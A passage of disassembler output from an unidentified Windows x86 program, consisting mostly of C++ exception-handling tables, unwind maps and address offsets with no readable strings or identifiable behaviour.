off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset dword_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:00437AF8o
					; ___:off_4448A0o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448CA0	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448CA0
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_4448A0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448E8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
byte_440140	db 20h			; DATA XREF: ___:loc_439DB8r
		db 5, 93h, 19h
		dd 1, 440160h, 5 dup(0)
		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
